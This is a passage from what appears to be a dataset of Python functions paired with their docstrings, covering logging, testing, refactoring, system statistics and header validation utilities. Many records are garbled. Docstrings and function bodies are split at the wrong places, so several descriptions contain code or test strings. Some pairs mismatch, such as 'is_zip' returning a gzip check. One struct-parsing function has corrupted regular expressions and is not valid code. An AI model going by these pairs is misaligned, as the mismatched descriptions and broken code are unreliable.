logger.setLevel(log_level)\n else:\n log_level = user_log_level\n coloredlogs.install(level=log_level, logger=logger, fmt=fmt, stream=sys.stdout)\n return logger\n\n", "nl": "Return a logger instancelevels:- quiet- info- debug- developerexamples:# returns a logger with the name of the modulelogger = get_logger(__name__)logger.info(\"This is a message\")logger.debug(\"This is a debug message\")logger.error(\"This is an error message\")logger.warning(\"This is a warning message\"):param name: the name of the desired logger:type name: str:param log_level: what level to set the logger to:type log_level: str:param fmt: the format of the log messages:type fmt: str:returns: logger instance:rtype: logging.Logger"} {"code": "def age_tracks(self):\n\n Args:\n detections: List of raw detections created from inferencing.\n \"\"\"", "nl": "Increases every tracks' age as well as staleness.for track in self._track_map.values():track.age = track.age + 1track.staleness = track.staleness + 1def reset_tracks_with_detections(self, detections):Resets the staleness of tracks if there are associated detections."} {"code": "def download(*args, **kwargs) -> None:\n\n kg_download(*args, **kwargs)\n\n return None\n\n\n@cli.command()", "nl": "Downloads data files from list of URLs (default: download.yaml) into datadirectory (default: data/raw).Args:yaml_file: Specify the YAML file containing a list of datasets to download.output_dir: A string pointing to the directory to download data to.ignore_cache: If specified, will ignore existing files and download again.Returns:None."} {"code": "def sample(self, obs):\n sampled_act = self.model.policy_sample(obs)\n return sampled_act\n", "nl": " Use the policy model of self.model to sample actions"} {"code": "def test_syscallErrorWithControlMessage(self):\n self.input.close()\n exc = self.assertRaises(\n error, sendmsg, self.input, b\"hello, world\", [(0, 0, b\"0123\")], 0)\n self.assertEqual(exc.args[0], errno.EBADF)\n\n", "nl": "The behavior when the underlying C{sendmsg} call fails is the samewhether L{sendmsg} is passed ancillary data or not."} {"code": "def extbool(value):\n if isinstance(value, bool):\n return value\n if isinstance(value, basestring):\n return bool(strtobool(value))\n raise TypeError('Invalid type. Must be bool or string')\n\n", "nl": "Bool or string with values ('0', '1', 'true', 'false', 'yes') to bool."} {"code": "def refactor(source, fixer_names, ignore=None, filename=''):\n from lib2to3 import pgen2\n try:\n new_text = refactor_with_2to3(source,\n fixer_names=fixer_names,\n filename=filename)\n except (pgen2.parse.ParseError,\n SyntaxError,\n UnicodeDecodeError,\n UnicodeEncodeError):\n return source\n\n if ignore:\n if ignore in new_text and ignore not in source:\n return source\n\n return new_text\n\n", "nl": "Return refactored code using lib2to3.Skip if ignore string is produced in the refactored code."} {"code": "def start(self) -> None:", "nl": "Start event loop in dedicated thread.if self.is_alive() or self._loop.is_running(): # pragma: nocoverreturnsuper().start()self.call(asyncio.sleep(0.001)).result(1)def run(self) -> None:Run code inside thread."} {"code": "def testInstantiateKillAfterIPopoAfterBundle(self):\n ipopo = install_ipopo(self.framework)\n\n install_bundle(self.framework)\n\n self.assertFalse(ipopo.is_registered_instance(NAME_A),\n \"Instance already there\")\n\n self.waiting.add(FACTORY_A, NAME_A)\n\n self.assertTrue(ipopo.is_registered_instance(NAME_A),\n \"Instance not there\")\n\n self.waiting.remove(NAME_A)\n\n self.assertFalse(ipopo.is_registered_instance(NAME_A),\n \"Instance still there\")\n", "nl": "Tests if the component is correctly instantiated when added and killedwhen removed"} {"code": "def test_listcomps(self):\n self.check(b, a)\n\n b = \"\"\"set([x for x in y if x == m])\"\"\"\n self.check(b, a)\n\n b = \"\"\"set([x for x in y for a in b])\"\"\"\n self.check(b, a)\n\n b = \"\"\"set([f(x) - 23 for x in y])\"\"\"\n self.check(b, a)\n", "nl": "b = set([x for x in y])a = {x for x in y}"} {"code": "def iter_importers(fullname=\"\"):\n if fullname.startswith('.'):\n raise ImportError(\"Relative module names not supported\")\n if '.' in fullname:\n pkg = '.'.join(fullname.split('.')[:-1])\n if pkg not in sys.modules:\n __import__(pkg)\n path = getattr(sys.modules[pkg], '__path__', None) or []\n else:\n for importer in sys.meta_path:\n yield importer\n path = sys.path\n for item in path:\n yield get_importer(item)\n if '.' not in fullname:\n yield ImpImporter()\n", "nl": "Yield PEP 302 importers for the given module nameIf fullname contains a '.', the importers will be for the packagecontaining fullname, otherwise they will be importers for sys.meta_path,sys.path, and Python's \"classic\" import machinery, in that order. Ifthe named module is in a package, that package is imported as a sideeffect of invoking this function.Non PEP 302 mechanisms (e.g. the Windows registry) used by thestandard import machinery to find files in alternative locationsare partially supported, but are searched AFTER sys.path. Normally,these locations are searched BEFORE sys.path, preventing sys.pathentries from shadowing them.For this to cause a visible difference in behaviour, there mustbe a module or package name that is accessible via both sys.pathand one of the non PEP 302 file system mechanisms. In this case,the emulation will find the former version, while the builtinimport mechanism will find the latter.Items of the following types can be affected by this discrepancy:imp.C_EXTENSION, imp.PY_SOURCE, imp.PY_COMPILED, imp.PKG_DIRECTORY"} {"code": "def get_exporters(params):\n\n Returns:\n dummy: A dummy tuple that looks like a ServingInputReceiver as far as\n LatestModuleExporter is concerned.\n\n This doesn't need to return a real ServingInputReceiver since\n LatestModuleExporter only cares that you can reconstruct the prediction\n graph using some placeholder features.\n \"\"\"", "nl": "Create a collection of exporters.def serving_input_fn():Dummy serving input function."} {"code": "def SetConsoleTextAttribute(self, _, color_code): # noqa\n self.wAttributes = color_code\n return 1\n\n\nclass MockSys(object):\n \"\"\"Mock sys standard library module.\"\"\"", "nl": "Mock SetConsoleTextAttribute.:param _: Unused handle.:param int color_code: Merged color code to set."} {"code": "def is_zip(bytes_data):\n return binascii.hexlify(bytes_data[:2]) == b\"1f8b\"\n\n @staticmethod", "nl": "Check whether or not a bytes_data file is a valid Zip file.return zipfile.is_zipfile(io.BytesIO(bytes_data))@staticmethoddef is_gzip(bytes_data):Check whether or not a bytes_data file is a valid gzip file."} {"code": "def as_unordered(self, inplace=False):\n inplace = validate_bool_kwarg(inplace, 'inplace')\n return self.set_ordered(False, inplace=inplace)\n", "nl": "Set the Categorical to be unordered.Parameters----------inplace : boolean (default: False)Whether or not to set the ordered attribute inplace or return a copyof this categorical with ordered set to False"} {"code": "def VariableFilter(v):\n\n Args:\n inputs: a tf.Tensor with the last dimension being the dimension for matmul.\n w: an order-3 tf.Tensor of shape (input_num_blocks, input_dim //\n input_num_blocks, output_dim // input_num_blocks)\n input_num_blocks: an int specifying number of blocks for the input.\n\n Returns:\n A tf.Tensor of shape: inputs.shape[:-1] + [w.shape[-1]].\n \"\"\"", "nl": "Returns True if variable v should be optimized by this learner.if not v.trainable:return Falseif pos and not pos.search(v.name):tf.logging.info('%s: disabled by bprop_variable_filter: %s', scope,v.name)return Falseif neg and neg.search(v.name):tf.logging.info('%s: disabled by bprop_variable_exclusion: %s', scope,v.name)return Falsereturn Truereturn vmap.Filter(VariableFilter)def BlockDiagonalMatmul(inputs, w, input_num_blocks):Block diagonal matmul."} {"code": "def cpu_stats():\n 'all' argument is ignored, see:\n https://github.com/giampaolo/psutil/issues/906\n \"\"\"", "nl": "Return various CPU stats as a named tuple.if FREEBSD:# Note: the C ext is returning some metrics we are not exposing:# traps.ctxsw, intrs, soft_intrs, syscalls, traps = cext.cpu_stats()elif NETBSD:# XXX# Note about intrs: the C extension returns 0. intrs# can be determined via /proc/stat; it has the same value as# soft_intrs thought so the kernel is faking it (?).## Note about syscalls: the C extension always sets it to 0 (?).## Note: the C ext is returning some metrics we are not exposing:# traps, faults and forks.ctxsw, intrs, soft_intrs, syscalls, traps, faults, forks = \\cext.cpu_stats()with open('/proc/stat', 'rb') as f:for line in f:if line.startswith(b'intr'):intrs = int(line.split()[1])elif OPENBSD:# Note: the C ext is returning some metrics we are not exposing:# traps, faults and forks.ctxsw, intrs, soft_intrs, syscalls, traps, faults, forks = \\cext.cpu_stats()return _common.scpustats(ctxsw, intrs, soft_intrs, syscalls)# =====================================================================# --- disks# =====================================================================def disk_partitions(all=False):Return mounted disk partitions as a list of namedtuples."} {"code": "def render_regions(view=None):\n if view is None:\n view = sublime.active_window().active_view()\n if view is None:\n return\n\n if view.size() == 0 or view.is_loading():\n return\n\n view.erase_regions(S.REGION_KEY_BREAKPOINT)\n view.erase_regions(S.REGION_KEY_CURRENT)\n view.erase_regions(S.REGION_KEY_DISABLED)\n\n filename = view.file_name()\n if not filename:\n return\n\n icon_current = get_region_icon(S.KEY_CURRENT_LINE)\n icon_disabled = get_region_icon(S.KEY_BREAKPOINT_DISABLED)\n icon_enabled = get_region_icon(S.KEY_BREAKPOINT_ENABLED)\n\n breakpoint_rows = []\n disabled_rows = []\n if filename in S.BREAKPOINT and isinstance(S.BREAKPOINT[filename], dict):\n for lineno, bp in S.BREAKPOINT[filename].items():\n if S.BREAKPOINT_RUN is not None and S.BREAKPOINT_RUN['filename'] == filename and S.BREAKPOINT_RUN['lineno'] == lineno:\n continue\n if bp['enabled']:\n breakpoint_rows.append(lineno)\n else:\n disabled_rows.append(lineno)\n\n if S.BREAKPOINT_ROW is not None:\n if filename == S.BREAKPOINT_ROW['filename']:\n if S.BREAKPOINT_ROW['lineno'] in breakpoint_rows:\n breakpoint_rows.remove(S.BREAKPOINT_ROW['lineno'])\n icon_breakpoint_current = get_region_icon(S.KEY_BREAKPOINT_CURRENT)\n if icon_breakpoint_current:\n icon_current = icon_breakpoint_current\n if S.BREAKPOINT_ROW['lineno'] in disabled_rows:\n disabled_rows.remove(S.BREAKPOINT_ROW['lineno'])\n if icon_current:\n view.add_regions(S.REGION_KEY_CURRENT, rows_to_region(S.BREAKPOINT_ROW['lineno']), S.REGION_SCOPE_CURRENT, icon_current, sublime.HIDDEN)\n\n if breakpoint_rows and icon_enabled:\n view.add_regions(S.REGION_KEY_BREAKPOINT, rows_to_region(breakpoint_rows), S.REGION_SCOPE_BREAKPOINT, icon_enabled, sublime.HIDDEN)\n if disabled_rows and icon_disabled:\n view.add_regions(S.REGION_KEY_DISABLED, rows_to_region(disabled_rows), S.REGION_SCOPE_BREAKPOINT, icon_disabled, sublime.HIDDEN)\n\n", "nl": "Set breakpoint/current line marker(s) for current active view.Note: View rendering conflict when using same icon for different scopes in add_regions()."} {"code": "def separate_process_wrapper_fn(func: Callable[[], None], do_multi_processing: bool) -> Callable[[], None]:\n", "nl": "This function wraps another function into its own separated process.In order to ensure accurate memory measurements it is important that the functionis executed in a separate processArgs:- `func`: (`callable`): function() -> ...generic function which will be executed in its own separate process- `do_multi_processing`: (`bool`)Whether to run function on separate process or not"} {"code": "def _initLocals(self):\n self.pid = 0\n self.exited = False\n self.breakpoints = {}\n self.watchpoints = {}\n self.bpid = 0\n self.bplock = Lock()", "nl": "The routine to initialize a tracer's initial internal state. Thisis used by the initial creation routines, AND on attaches/executesto re-fresh the state of the tracer.WARNING: This will erase all metadata/symbols (modes/notifiers are kept)"} {"code": "def removeDownloadingTextTask(self):\n self.mainFrame = DirectFrame(\n parent = self.backFrame,\n frameSize = self.FrameDimensions,\n frameColor = (1,0,0,1),\n )\n", "nl": "Add a simple little task to show in game news is downloading stuff.taskMgr.remove(\"DirectNewsFrameDownloadingTextTask\")def loadMainPage(self):Create the other gui for this."} {"code": "def argsort(self, reverse=False):\n if inplace:\n self.__validate_bool_arg(inplace, \"inplace\")\n super().reverse()\n return self\n return Array(reversed(self))\n", "nl": " Returns the indices that would sort this Array return self.enumerate.sortby(lambda e: e[1], reverse=reverse)[:, 0]def reverse(self, inplace=False): Reverses this Array. "} {"code": "def format_stack(self, stack):\n return ' '.join(map(str, stack[1:]))\n", "nl": "Transform the stack at a given moment into a printable string like:B_MAP:0 KEY:0 VAL:5"} {"code": "def cidr_to_wildcard(wildcard):\n cidr_mapping = {\n \"0\": \"255.255.255.255\",\n \"1\": \"127.255.255.255\",\n \"2\": \"63.255.255.255\",\n \"3\": \"31.255.255.255\",\n \"4\": \"15.255.255.255\",\n \"5\": \"7.255.255.255\",\n \"6\": \"3.255.255.255\",\n \"7\": \"1.255.255.255\",\n \"8\": \"0.255.255.255\",\n \"9\": \"0.127.255.255\",\n \"10\": \"0.63.255.255\",\n \"11\": \"0.31.255.255\",\n \"12\": \"0.15.255.255\",\n \"13\": \"0.7.255.255\",\n \"14\": \"0.3.255.255\",\n \"15\": \"0.1.255.255\",\n \"16\": \"0.0.255.255\",\n \"17\": \"0.0.127.255\",\n \"18\": \"0.0.63.255\",\n \"19\": \"0.0.31.255\",\n \"20\": \"0.0.15.255\",\n \"21\": \"0.0.7.255\",\n \"22\": \"0.0.3.255\",\n \"23\": \"0.0.1.255\",\n \"24\": \"0.0.0.255\",\n \"25\": \"0.0.0.127\",\n \"26\": \"0.0.0.63\",\n \"27\": \"0.0.0.31\",\n \"28\": \"0.0.0.15\",\n \"29\": \"0.0.0.7\",\n \"30\": \"0.0.0.3\",\n \"31\": \"0.0.0.1\",\n \"32\": \"0.0.0.0\"\n }\n\n if \"/\" in wildcard:\n wildcard_address = wildcard.split(\"/\")\n mask = wildcard_address.pop()\n\n if mask and int(mask) in range(0, 33):\n wildcard_address.append(cidr_mapping[mask])\n else:\n wildcard_address = []\n else:\n wildcard_address = []\n\n return wildcard_address\n", "nl": "Method is used to convert a wildcard address in CIDR notation to a list with address and mask.:param wildcard: Type str.The wildcard address in CIDR notation.:return: A list with address and mask in that order."} {"code": "def render_git_describe(pieces):\n if pieces[\"closest-tag\"]:\n rendered = pieces[\"closest-tag\"]\n if pieces[\"distance\"]:\n rendered += \"-%d-g%s\" % (pieces[\"distance\"], pieces[\"short\"])\n else:\n rendered = pieces[\"short\"]\n if pieces[\"dirty\"]:\n rendered += \"-dirty\"\n return rendered\n\n", "nl": "TAG[-DISTANCE-gHEX][-dirty].Like 'git describe --tags --dirty --always'.Exceptions:1: no tags. HEX[-dirty] (note: no 'g' prefix)"} {"code": "def __step2(self):\n n = self.n\n for i in range(n):\n for j in range(n):\n if (self.C[i][j] == 0) and \\\n (not self.col_covered[j]) and \\\n (not self.row_covered[i]):\n self.marked[i][j] = 1\n self.col_covered[j] = True\n self.row_covered[i] = True\n\n self.__clear_covers()\n return 3\n", "nl": "Find a zero (Z) in the resulting matrix. If there is no starredzero in its row or column, star Z. Repeat for each element in thematrix. Go to Step 3."} {"code": "def statistics(self, reset=False):\n if reset or not hasattr(self, '_stats_max_value') or self._stats_max_value is None:\n self._clear_stats()\n for data in self.tiles():\n self._push_stats(data)\n\n if self._stats_t0 == 0:\n mean = None\n std = None\n else:\n mean = self._stats_t1 / self._stats_t0\n std = numpy.sqrt(self._stats_t0 * self._stats_t2 - self._stats_t1 * self._stats_t1) / self._stats_t0\n\n return (self._stats_min_value, self._stats_max_value, mean, std)\n", "nl": "Compute statistics for this aggregator. Returns (min, max, mean, std).The mean and std can be computed incrementally from the number ofobeservations t0 = sum(x^0), the sum of values t1 = sum(x^1), and thesum of squares t2 = sum(x^2)."} {"code": "def _prepareParser() -> argparse.ArgumentParser:\n parser = Settings._prepareParser()\n\n parser.add_argument(\n \"binaries\",\n nargs=\"*\",", "nl": "Prepare the argsparse command line parser and add all arguments to the parser or its args groupsparser = argparse.ArgumentParser(description=\"Compares elf binaries and lists differences in symbol sizes, the disassemblies, etc.\")for group_name, parameters in GROUPED_PARAMETERS.items():args_group = parser.add_argument_group(group_name)for parameter in parameters:if parameter.no_cmd_line:continueSettings._addParameterToGroup(parameter, args_group)for parameter in UNGROUPED_PARAMETERS:if parameter.no_cmd_line:continueSettings._addParameterToGroup(parameter, parser)return parser@staticmethoddef _parseCommandLineArgs() -> object:Parse command line arguments"} {"code": "def fit(self):\n print(\"\\n\\nTraining the model.\\n\")\n self.model.train()\n self.optimizer = torch.optim.Adam(self.model.parameters(), lr=self.args.learning_rate)\n self.optimizer.zero_grad()\n self.cummulative_accuracy = 0\n self.budget = trange(self.args.budget, desc=\"Samples: \")\n losses = 0\n for step in self.budget:\n score = random.uniform(0, 1)\n if score > 0.5:\n source_node, target = self.pick_a_node_pair()\n noise = self.pick_noise_nodes()\n else:\n source_node, target = self.pick_a_node_feature_pair()\n noise = self.pick_noise_features()\n source, targets = self.process_a_node(source_node, target, noise)\n loss = self.model(source, targets, score)\n losses = losses + loss\n self.update_accuracy(loss, step)\n if (step+1) % self.args.batch_size == 0:\n losses.backward(retain_graph=True)\n self.optimizer.step()\n losses = 0\n self.optimizer.zero_grad()\n", "nl": "Model training."} {"code": "def __init__(self, p):\n self._p = p\n\n", "nl": "p: an instance of subprocess.Popen class."} {"code": "def test_00_constructor(self):\n\n cc = CryptContext([\"md5_crypt\", \"bsdi_crypt\", \"des_crypt\"])\n self.assertIs(cc.policy.get_handler(), hash.md5_crypt)\n\n cc2 = cc.replace()\n self.assertIsNot(cc2, cc)\n", "nl": "test constructor# create crypt context using handlerscc = CryptContext([hash.md5_crypt, hash.bsdi_crypt, hash.des_crypt])c,b,a = cc.policy.iter_handlers()self.assertIs(a, hash.des_crypt)self.assertIs(b, hash.bsdi_crypt)self.assertIs(c, hash.md5_crypt)# create context using namescc = CryptContext([\"md5_crypt\", \"bsdi_crypt\", \"des_crypt\"])c,b,a = cc.policy.iter_handlers()self.assertIs(a, hash.des_crypt)self.assertIs(b, hash.bsdi_crypt)self.assertIs(c, hash.md5_crypt)# policy kwdpolicy = cc.policycc = CryptContext(policy=policy)self.assertEqual(cc.to_dict(), policy.to_dict())cc = CryptContext(policy=policy, default=\"bsdi_crypt\")self.assertNotEqual(cc.to_dict(), policy.to_dict())self.assertEqual(cc.to_dict(), dict(schemes=[\"md5_crypt\",\"bsdi_crypt\",\"des_crypt\"],default=\"bsdi_crypt\"))self.assertRaises(TypeError, setattr, cc, 'policy', None)self.assertRaises(TypeError, CryptContext, policy='x')def test_01_replace(self):test replace()"} {"code": "def group(self, *args, **kwargs):", "nl": "This works exactly like the method of the same name on a regular:class:`click.Group` but it defaults the group class to:class:`AppGroup`."} {"code": "def test_constructor(self):\n running it and the version after running it.\n\n \"\"\"", "nl": "Can a ExecutePreprocessor be constructed?self.build_preprocessor({})def run_notebook(self, filename, opts, resources):Loads and runs a notebook, returning both the version prior to"} {"code": "def construct_struct_types_dictionary_for_file(data):\n to_track = ''\n\n to_process = dict()\n to_inline = dict()\n ready = dict()\n\n struct_prev = [structure_entry, literal_structure]\n struct_prev_with_comma = [structure_entry_with_comma, literal_structure_with_comma]\n use_previously_inlined_stmts = False\n\n for stmt in data:\n if len(to_track) > 0:\n if to_track in stmt:\n print('Found statement ', to_track)\n if re.match(rgx.struct_name + r' = type ?$', r'\\g<1>', stmt)\n v = re.sub(rgx.struct_name + ' = type (?)$', r'\\g<1>', stmt)\n to_process[k] = v\n\n for i in list(to_process.items()):\n if re.match(literal_structure, i[1]):\n to_inline[i[0]] = i[1]\n del to_process[i[0]]\n\n counter = 0\n prev_to_process_len = len(to_process)\n\n while len(to_process) > 0:\n\n for i in list(to_inline.items()):\n for p in list(to_process.items()):\n pattern = re.escape(i[0]) + rgx.struct_lookahead\n if re.search(pattern, p[1]):\n to_process[p[0]] = re.sub(pattern, i[1], p[1])\n\n if use_previously_inlined_stmts:\n print('\\t... using previously inlined statements')\n for p in list(to_process.items()):\n for i in list(ready.items()):\n pattern = re.escape(i[0]) + rgx.struct_lookahead\n if re.search(pattern, p[1]):\n print('bingo')\n to_process[p[0]] = re.sub(pattern, i[1], p[1])\n\n ready.update(to_inline)\n to_inline = {}\n\n if counter < 3:\n comp_structure_entry = rgx.any_of(struct_prev)\n comp_structure_entry_with_comma = rgx.any_of(struct_prev_with_comma)\n comp_structure = '?'\n struct_prev.append(comp_structure)\n struct_prev_with_comma.append(comp_structure + ', ')\n else:\n comp_structure = '{}\\dx\\[\\]\\(\\)\\.,\\*%IDvfloatdubeipqcy]+}>?$'\n\n for i in list(to_process.items()):\n if re.match(comp_structure, i[1]):\n to_inline[i[0]] = i[1]\n del to_process[i[0]]\n\n counter += 1\n\n if len(to_process) == prev_to_process_len and counter > 3:", "nl": "Construct a dictionary of structure names:param data: list of strings representing the content of one file:return: data: modified input dataready: dictionary of structure names"} {"code": "def intervalx(self):\n return self.get_points()[:, 0]\n\n @property", "nl": "The pair of *x* coordinates that define the bounding box.This is not guaranteed to be sorted from left to right."} {"code": "def multipatch(self, parts, partTypes):\n shapeType = MULTIPATCH\n polyShape = Shape(shapeType)\n polyShape.parts = []\n polyShape.points = []\n for part in parts:\n polyShape.parts.append(len(polyShape.points))\n for point in part:\n if not isinstance(point, list):\n point = list(point)\n polyShape.points.append(point)\n polyShape.partTypes = partTypes\n self.shape(polyShape)\n\n", "nl": "Creates a MULTIPATCH shape.Parts is a collection of 3D surface patches, each made up of a list of xyzm values.PartTypes is a list of types that define each of the surface patches.The types can be any of the following module constants: TRIANGLE_STRIP,TRIANGLE_FAN, OUTER_RING, INNER_RING, FIRST_RING, or RING.If the z (elavation) value is not included, it defaults to 0.If the m (measure) value is not included, it defaults to None (NoData)."} {"code": "def __init__(self, ledger_id: str, body: str) -> None:\n enforce(isinstance(self._ledger_id, str), \"ledger_id must be str\")\n enforce(isinstance(self._body, str), \"body must not be None\")\n\n @property", "nl": "Initialise an instance of TransactionDigest.self._ledger_id = ledger_idself._body = bodyself._check_consistency()def _check_consistency(self) -> None:Check consistency of the object."} {"code": "def check_header_validity(header):\n name, value = header\n\n if isinstance(value, bytes):\n pat = _CLEAN_HEADER_REGEX_BYTE\n else:\n pat = _CLEAN_HEADER_REGEX_STR\n try:\n if not pat.match(value):\n raise InvalidHeader(\"Invalid return character or leading space in header: %s\" % name)\n except TypeError:\n raise InvalidHeader(\"Header value %s must be of type str or bytes, \"\n \"not %s\" % (value, type(value)))\n\n", "nl": "Verifies that header value is a string which doesn't containleading whitespace or return characters. This prevents unintendedheader injection.:param header: tuple, in the format (name, value)."} {"code": "def remove_mentions(text: str) -> str:\n text = normalize_whitespace(constants.AT_PATTERN.sub(\"\", text))\n return text\n\n", "nl": "Function that removes words preceded with a '@'Parameters----------text : strReturns-------string"} {"code": "def run_tests(test_labels, verbosity=1, interactive=True, extra_tests=[]):\n setup_test_environment()\n\n settings.DEBUG = False\n suite = unittest.TestSuite()\n\n if test_labels:\n for label in test_labels:\n if '.' in label:\n suite.addTest(build_test(label))\n else:\n app = get_app(label)\n suite.addTest(build_suite(app))\n else:\n for app in get_apps():\n suite.addTest(build_suite(app))\n\n for test in extra_tests:\n suite.addTest(test)\n\n old_name = settings.DATABASE_NAME\n create_test_db(verbosity, autoclobber=not interactive)\n result = unittest.TextTestRunner(verbosity=verbosity).run(suite)\n destroy_test_db(old_name, verbosity)\n\n teardown_test_environment()\n\n return len(result.failures) + len(result.errors)", "nl": "Run the unit tests for all the test labels in the provided list.Labels must be of the form:- app.TestClass.test_methodRun a single specific test method- app.TestClassRun all the test methods in a given class- appSearch for doctests and unittests in the named application.When looking for tests, the test runner will look in the models andtests modules for the application.A list of 'extra' tests may also be provided; these testswill be added to the test suite.Returns the number of tests that failed."} {"code": "def system():\n return uname()[0]\n", "nl": " Returns the system/OS name, e.g. 'Linux', 'Windows' or 'Java'.An empty string is returned if the value cannot be determined."} {"code": "def __init__(self, functions):\n self.functions = functions\n", "nl": "Args:functions: List of 2-tuples (prefix, function), e.g.[('pluralize', _Pluralize), ('cycle', _Cycle)]"} {"code": "def quote_header_value(value, extra_chars='', allow_token=True):\n value = str(value)\n if allow_token:\n token_chars = _token_chars | set(extra_chars)\n if set(value).issubset(token_chars):\n return value\n return '\"%s\"' % value.replace('\\\\', '\\\\\\\\').replace('\"', '\\\\\"')\n\n", "nl": "Quote a header value if necessary... versionadded:: 0.5:param value: the value to quote.:param extra_chars: a list of extra characters to skip quoting.:param allow_token: if this is enabled token values are returnedunchanged."} {"code": "def page_header():\n", "nl": "return
twitter themes/topics/clusters summarization explorer thingamajigger
% globals()"} {"code": "def issuer(self):\n\n return self['tbs_certificate']['issuer']\n\n @property", "nl": ":return:The Name object for the issuer of this certificate"} {"code": "def add_arguments(cls, parser: argparse.ArgumentParser) -> argparse.ArgumentParser:\n Child classes must implement this function to compute FLOPs and parameters\n \"\"\"", "nl": "Add segmentation head specific argumentsgroup = parser.add_argument_group(title=\"Segmentation head arguments\",description=\"Segmentation head arguments\",)group.add_argument(\"--model.segmentation.seg-head\",type=str,default=None,help=\"Segmentation head\",)return parserdef profile_module(self, x: Tensor) -> Tuple[Tensor, float, float]:"} {"code": "def _get_pick_time(self, my_string):\n if not my_string.strip():\n return None", "nl": "Look up absolute time of pick including date, based on the time-of-dayonly representation in the phase lineReturns absolute pick time or None if it can not be determined safely."} {"code": "def do_capture(parser, token):\n bits = token.split_contents()\n if len(bits) != 3:\n raise template.TemplateSyntaxError(\"'capture' node requires `as (variable name)`.\")\n nodelist = parser.parse(('endcapture',))\n parser.delete_first_token()\n return CaptureNode(nodelist, bits[2])", "nl": "Captures content into a context variable.Syntax:{% capture as [foo] %}{% endcapture %}Usage:{% capture as content %}{% block content %}{% endblock %}{% endcapture %}"} {"code": "def __isub__(self, y):\n\n return MPoint(super(MPoint, self).__isub__(y))\n\n", "nl": "In-place subtract"} {"code": "def rename_weights(traindir, kkey, mon):\n r = np.genfromtxt(os.path.join(traindir, \"training.csv\"), delimiter=\",\", names=True)\n e = r[\"epoch\"]\n q = r[mon]\n minq = np.min(q)\n beste = e[np.argmin(q)]\n\n newname = \"weights.\" + str(int(beste)) + \"-\" + \"{:.5f}\".format(minq) + \".hdf5\"\n\n os.rename(os.path.join(traindir, kkey), os.path.join(traindir, newname))\n\n", "nl": "At the end of DANNCe or COM training, rename the best weights file with the epoch #and value of the monitored quantity"} {"code": "def lookupAll(required, provided):\n", "nl": "Find all adapters from the required to the provided interfacesAn iterable object is returned that provides name-value two-tuples."} {"code": "def __init__(self, d_model, n_head):\n super(BERTMultiheadAttention, self).__init__()\n self.embed_dim = d_model\n self.num_heads = n_head\n self.head_dim = self.embed_dim // self.num_heads\n self.in_proj = nn.Dense(self.embed_dim, 3 * self.embed_dim)\n self.out_proj = nn.Dense(self.embed_dim, self.embed_dim)\n self.split = ops.Split(-1, 3)\n self.expand_dims = P.ExpandDims()\n self.softmax = nn.Softmax(-1)\n self.transpose = ops.Transpose()\n self.scaling = self.head_dim ** -0.5\n", "nl": ":param d_model: width of tensor/embedding dim:param n_head: output of mutlithead attention/num_heads"} {"code": "def metric(self, event: Any) -> Optional[float]:\n return []\n\nclass MetricCollector(MetricCollector):", "nl": "Return a metric for an event, or none.return Nonedef all_metrics(self, func: str) -> List[float]:Return all metric for a function `func`."} {"code": "def keys(self):\n return self.dict.keys()\n\n", "nl": ":return: the keys (field names)"} {"code": "def load_plugin_modules(self, modnames):\n for modname in modnames:\n if modname in self._dynamic_plugins:\n continue\n self._dynamic_plugins.append(modname)\n module = load_module_from_name(modname)\n module.register(self)\n", "nl": "take a list of module names which are pylint plugins and loadand register them"} {"code": "def _endpointTest(self, service):\n options = Options()\n options.parseOptions(['--' + service, 'tcp:1234'])\n self.assertEqual(len(options[service]), 1)\n self.assertIsInstance(\n options[service][0], endpoints.TCP4ServerEndpoint)\n\n", "nl": "Use L{Options} to parse a single service configuration parameter andverify that an endpoint of the correct type is added to the list forthat service."} {"code": "def remove(self, vlink):\n\n link = None\n if number >= 0:\n link = cast(c_void_p(self.first), POINTER(Link))\n while link and number != 0:\n number -= 1\n link = link.contents.next\n return link.contents if link else None\n", "nl": "Ref: BLI_remlinklink = vlinkif not vlink:returnif link.next:link.next.contents.prev = link.previf link.prev:link.prev.contents.next = link.nextif self.last == addressof(link):self.last = cast(link.prev, c_void_p)if self.first == addressof(link):self.first = cast(link.next, c_void_p)def find(self, number):Ref: BLI_findlink"} {"code": "def _reload_version(self):\n md_version = self._get_version()\n if md_version:\n self._version = md_version\n return self\n\n\nclass DistInfoDistribution(Distribution):\n \"\"\"\n PKG_INFO = 'METADATA'\n EQEQ = re.compile(r\"([\\(,])\\s*(\\d.*?)\\s*([,\\)])\")\n\n @property", "nl": "Packages installed by distutils (e.g. numpy or scipy),which uses an old safe_version, and sotheir version numbers can get mangled whenconverted to filenames (e.g., 1.11.0.dev0+2329eae to1.11.0.dev0_2329eae). These distributions will not beparsed properlydownstream by Distribution and safe_version, sotake an extra step and try to get the version number fromthe metadata file itself instead of the filename."} {"code": "def log_args(args):\n matching_idx = predicate.nonzero()\n n_match = len(matching_idx)\n if n_match != 0:\n matching_idx = matching_idx.t().squeeze(0)\n return matching_idx\n\n", "nl": "rLog program argumentslogging.info('\\n+========== SCOT Arguments ===========+')for arg_key in args.__dict__:logging.info('| %20s: %-24s |' % (arg_key, str(args.__dict__[arg_key])))logging.info('+================================================+\\n')def where(predicate):rReturns indices which match given predicate"} {"code": "def ordered_indices(self):\n if self.shuffle:\n order = [np.random.permutation(len(self))]\n else:\n order = [np.arange(len(self))]\n order.append(self.sizes)\n return np.lexsort(order)\n", "nl": "Return an ordered list of indices. Batches will be constructed basedon this order."} {"code": "def test_complex_2(self):\n self.check(b, a)\n", "nl": "b = x = apply(f*g, args)a = x = (f*g)(*args)"} {"code": "def random_vector(size):\n return numpy.random.random(size)\n\n", "nl": "Return array of random doubles in the half-open interval [0.0, 1.0).>>> v = random_vector(10000)>>> numpy.all(v >= 0) and numpy.all(v < 1)True>>> v0 = random_vector(10)>>> v1 = random_vector(10)>>> numpy.any(v0 == v1)False"} {"code": "def last_fails(self, task_id):\n result = 0\n for task_run in task_runs:\n if task_run['exit_code'] == 0:\n return result\n else:\n result += 1\n return result\n", "nl": "task_runs = self.select_to_dict(select *from task_runswhere task_id = '%s'order by started_at desc % task_id)"} {"code": "def additional_special_tokens(self):\n return self.convert_tokens_to_ids(self.bos_token)\n\n @property", "nl": " All the additional special tokens you may want to use (list of strings). Log an error if used while not having been set. if self._additional_special_tokens is None:logger.error(\"Using additional_special_tokens, but it is not set yet.\")return self._additional_special_tokens@bos_token.setterdef bos_token(self, value):self._bos_token = value@eos_token.setterdef eos_token(self, value):self._eos_token = value@unk_token.setterdef unk_token(self, value):self._unk_token = value@sep_token.setterdef sep_token(self, value):self._sep_token = value@pad_token.setterdef pad_token(self, value):self._pad_token = value@cls_token.setterdef 